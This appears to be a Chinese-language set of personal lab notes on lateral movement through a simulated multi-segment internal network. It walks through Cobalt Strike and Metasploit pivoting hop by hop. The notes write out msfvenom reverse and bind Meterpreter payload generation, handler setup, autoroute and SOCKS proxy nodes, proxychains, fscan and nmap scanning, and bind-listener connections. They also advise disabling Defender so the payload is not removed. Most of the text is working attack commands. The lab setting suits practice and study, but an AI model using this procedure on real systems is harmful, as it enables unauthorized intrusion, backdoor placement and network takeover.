
这里使用了桥接模式和仅主机模式
CS控制端
192.168.16.109
#Web机器
Windows Server 2016(Web)
192.168.16.120
192.168.22.11
#SQL数据库服务器
Windows Server 2016(SQL)
192.168.22.22
192.168.33.11
#FILE文件传输服务器
Windows Server 2016(FILE)
192.168.33.22
192.168.44.11
#正常电脑
Windows Server 2016(未配置)PC
192.168.44.22
虚拟机设置仅主机模式

本机设置:断绝本机和2网段,3网段,4网段的通讯。模拟真实环境

虚拟机里面配置对应的服务。在Web服务器上的web添加文件写入内容
环境配置好之后,本机上浏览器访问2网段,加载不进来

Socket配置
解决:信息收集大点和漏洞利用部分
注意:配置连接IP为C2服务器IP
工具:【WIndows】Proxifier【Linux】Proxychains等
Proxychains使用
#加入修改配置
/etc/proxychains4.conf
#调用加载测试:
proxychains curl http://192.168.22.22
总结:就是我们拿下一台服务器以后,直接开代理端口,上代理工具,然后使用我们打下的服务器做信息收集,然后放后门到别人服务器内,然后让目标服务器直接打开端口,然后我们用打下的那台服务器进行主动连接
进行操作,CS进入监听状态reverse模式,web在cs上进行上线

【CS】使用代理转发,启用socket4代理,代理服务器端口29551点击运行
相当于CS上开一个节点,然后与22网段通讯

获取到信息,除了桥接网络的IP地址,同一个机器上还有一个22网段。进行下面操作
而本地无法与22网段进行通讯,我们借助代理

使用工具【Proxifier】设置代理。下面和这个类似
配置文件-->代理服务器SOCKET4版本。CS地址和端口,点击确定
勾选下面的选项

配置文件-->代理服务器--->检查

配置代理规则
代理规则--->添加-->名称。应用程序:针对程序,目标主机:只通讯的ip地址192.168.2.*,目标端口:任意
代理规则配置前要把其他的配置规则删除掉,default删除不了就不删了

本机上浏览器访问站点创建成功-phpstudy for windows,访问成功

使用工具fscan
fscan -h 192.168.2.1/24
fscan -h 192.168.2.22
#关闭代理,失败不生效
fscan -h 192.168.2.1/24
扫描到3306端口。说明与22网段可以通讯

总结:就是我们拿下一台服务器以后,直接开代理端口,上代理工具,然后使用我们打下的服务器做信息收集,然后放后门到别人服务器内,然后让目标服务器直接打开端口,然后我们用打下的那台服务器进行主动连接
CS监听器【TCP】4444端口
payload:
bind 绑定 正向 让目标机器主动连接你
reverse 反向 主动找目标机器
| 特性 | Reverse(反向)监听器 | Bind(绑定)监听器 |
|---|---|---|
| 连接方向 | 被控主机(受害者)主动向外连接 攻击者服务器 | 攻击者主动向 被控主机(受害者)发起连接 |
| 常见场景 | 绝大多数场景,如钓鱼邮件、漏洞利用、下载执行载荷 | 非常特殊的场景,通常需要先有一个Reverse Shell作为跳板 |
| 防火墙穿透 | 极易穿透出站规则。因为大多数网络允许内部主机向外发起Web(80/443)等常见端口的连接。 | 极难穿透入站规则。受害者主机的防火墙通常会阻止外部发起的未知连接。 |
| 使用频率 | 极高,是标准和首选模式 | 极低,仅用于特定情况 |
| 工作流程 | 1. 攻击者启动监听器 2. 载荷在目标机执行 3. 目标机主动呼叫攻击服务器 4. 会话建立 | 1. 攻击者启动监听器(指向目标机的IP) 2. 载荷在目标机执行并绑定一个端口等待 3. 攻击者主动连接目标机的这个端口 4. 会话建立 |
| 依赖性 | 依赖攻击者服务器拥有公网IP或可达的IP | 依赖目标机拥有公网IP或攻击者网络可达的IP(通常在内网中无法直接连接) |
| 风险(对攻击者) | 较低。只需暴露一个服务器,可以放在云端。 | 较高。需要直接连接可能被监控的目标IP,容易暴露自身。 |
| 比喻 | 客服电话:受害者主动打电话给攻击者 | 远程桌面:攻击者主动去连接受害者的电脑 |
一般都会使用反向后门。我们主机无法对22网段继续通讯,选择使用正向监听
防火墙一般对外部到内部过滤严格,内部出去没过滤或者很少过滤
使用正向连接,【CS】监听tcp的bind,生成exe文件放入SQL机器上
在执行后,多了一个4444端口。等待被连接
只能使用web机器去连接,它上面有2的网段,连接成功

放入SQL服务器。执行前,exe执行前
#查看端口
netstat -an

在运行刚刚生成的exe程序后,执行后会监听一个4444端口

输入命令connect 192.168.22.22 4444

查看命令可以获取到
获取到信息,同一个机器上还有一个33网段

查看拓扑图,Web是通过反向代理 --(受害者)主动向外连接 攻击者服务器
而SQL是通过正向代理,攻击者 主动向 被控主机(受害者) 发起连接造成

【CS】使用代理转发,启用socket代理,代理服务器端口选择65469,socket版本选择4,CS上开一个端口,取得这个的ip的通讯,使用CS的ip地址
修改配置代理里面的端口信息

通过fscan扫描,开启了21端口,开启了ftp服务
fscan -h 192.168.3.1/24
fscan -h 192.168.3.22

此时使用命令行连接,可以

正向监听的exe程序--->在FILE服务器上运行exe文件,服务器上开启监听状态4444端口
【CS】上进行连接,使用SQL服务器连接,它上面有33网段地址
connect 192.168.33.22 4444
关掉代理,主机上查看命令执行

查看ip。获取到信息,同一个机器上还有一个44网段.下面对这进行操作

192.168.33.22右击设置socket代理,点击运行,端口6816

配置代理服务器,代理规则,通讯44网段

使用fscan扫描,放4.exe放入4网段机器
可以检测到下面的端口,证明连接成功

正向监听的exe程序--->在DC服务器上运行exe文件,服务器上开启监听状态4444端口
【CS】上进行连接,使用FILE服务器连接
connect 192.168.44.22 4444

查看ip信息。没有其他网段了,CS代理练习结束

查看拓扑图

#生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.109 LPORT=3333 -f exe -o msf.exe
#msfconsole设置
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
run
msf传到主机上,主机上传到Web机器上。
设置好监听run后,web服务器点击exe上线成功

#上线之后信息收集,查看路由信息
run autoroute -p
run post/multi/manage/autoroute
run autoroute -p
#获得路由信息,16网段和22网段
Active Routing Table
====================Subnet Netmask Gateway
------ ------- -------
192.168.16.0 255.255.255.0 Session 1
192.168.22.0 255.255.255.0 Session 1

#跳出session
background
#创建socks节点
use auxiliary/server/socks_proxy
#设置端口。默认5版本
set srvport 7823
run

可以在windows上使用这个代理工具检测

Linux设置代理操作
#加入修改配置,最后一行修改版本信息和端口
vim /etc/proxychains4.conf#调用加载测试:
proxychains curl http://192.168.22.11#使用nmap扫描
proxychains nmap -p 80,443,21,22 192.168.22.11

设置正向后门
#生成后门
msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe -o 77.exe
sessions
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.22.22
set lport 7777
run

查看信息
#获取信息
geruid
Server username: SQL\Administrator#查看路由信息
run post/multi/manage/autoroute
run autoroute -p

设置节点
里面的exe执行文件会被杀,把defender关掉即可
#切入后台
background
#创建socks节点
use auxiliary/server/socks_proxy
#设置端口。默认5版本
set srvport 8934
run

Proxychains设置
#修改配置文件最后一行
socks5 127.0.0.1 8934#调用加载测试:
nmap -p 80,443,21,22 192.168.33.11
nmap -p 80,443,21,22 192.168.33.22
ftp测试,可以连通

设置监听上线
#修改监听地址即可
use exploit/multi/handler
set rhost 192.168.33.22

进行信息收集
getuid
Server username: FILE\Administrator#查看路由信息
run post/multi/manage/autoroute
run autoroute -p

继续操作
设置节点
#切入后台
background
#创建socks节点
use auxiliary/server/socks_proxy
#设置端口。默认5版本
set srvport 2531
run

ProxyChain修改配置文件
#修改配置文件最后一行
socks5 127.0.0.1 2531#调用加载测试:
nmap -p 80,443,21,22 192.168.44.11
nmap -p 80,443,21,22 192.168.44.22

#修改监听地址即可
use exploit/multi/handler
set rhost 192.168.44.22
上线成功

信息收集
meterpreter > getuid
Server username: XUAN-PC\Administrator

[*] Did not find any new subnets to add.
实验结束